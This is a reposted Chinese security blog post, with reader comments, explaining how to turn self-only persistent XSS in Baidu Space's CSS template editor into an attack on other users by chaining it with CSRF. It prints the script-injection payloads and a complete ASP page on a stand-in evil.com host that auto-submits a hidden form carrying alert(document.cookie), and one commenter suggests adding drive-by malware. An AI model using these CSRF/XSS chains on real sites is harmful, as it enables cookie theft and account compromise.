基于CSRF的XSS攻击

# 鬼仔:作者的原文被和谐了。

作者:余弦

有些XSS不好利用啊,比如有些后台的XSS漏洞,你进不了别人的后台,怎么能 利用他的XSS漏洞呢?进得了别人的后台,还利用这个XSS漏洞干什么?其实这个时候可以种个后门(如果那是个持久型的XSS,这是后话)。有些被称为鸡 肋的XSS漏洞其实很多时候是因为没有找到合适的利用方式而已。

比如百度空间的自定义模板处,那里还有两处持久型的XSS漏洞,一个是在编辑CSS的textarea中写入这样的代 码</textarea><script>alert(‘xss’)< /script><textarea>,然后保存该模板后会出现跨站;还有一个是在编辑CSS的textarea中写入< /style><script>alert(document.cookie)< /script><style>,点击“预览”会出现跨站。这样的过程似乎只能跨自己?不对!利用CSRF可以使得这些不好利用的 XSS漏洞变得同样威力无穷。

比如:

一个攻击者构造的页面http://www.evil.com/csrf-xss-baiduhi.asp的代码如下:

<%
s = "<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script><style>' name='spCssText'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>

被攻击者yuxi4n访问这个链接时就被CSRF了,接着就是XSS的出现:)。XSS能做什么就做什么了。上面的CSRF代码提交了自定义模板表 单并执行了预览功能。预览的时候就跨了。CSRF可以做的很隐蔽。上次xKungfoo回来后和monyer聊的就是这个,当时百度C2C内某处的预览功 能就存在这样的XSS。很多人认为根本没办法利用,然后结合CSRF呢?monyer给他们演示后,现在这个漏洞被修补了。

同样的问题出现在很多网站上,恩,假如CSRF防御做得好的话就不用担心这个了,不过我们可以利用这样被忽略的XSS漏洞做后门,假如有这个机会的话。

相关日志

楼被抢了 8 层了... 抢座Rss 2.0或者 Trackback

  • 会律

    以后被攻击了,这里就是很好的避难所哦!

  • 帽子

    支持一下

  • 人鱼姬

    先让人家访问http://www.evil.com/csrf-xss-baiduhi.asp,再借用他的cookie跨站,有一点繁琐,不过也只能这样了

    在http://www.evil.com/csrf-xss-baiduhi.asp上放网马,岂不更妙?

  • cnaaa

    楼上的你也太菜了,你以为是个网马都能让人家浏览器中马呀,你放个页面马来给我中中看。浏览器现在都保护的好的很哦

  • ipc_w

    稍微了解一下,这个的攻击是需要本身就有baidu的登陆态吧?比如遨游等标签式浏览器什么的

  • 昌维

    关键是那个asp页面为什么不直接用html代替呢?为什么要asp一行一行的response打出来呢?

发表评论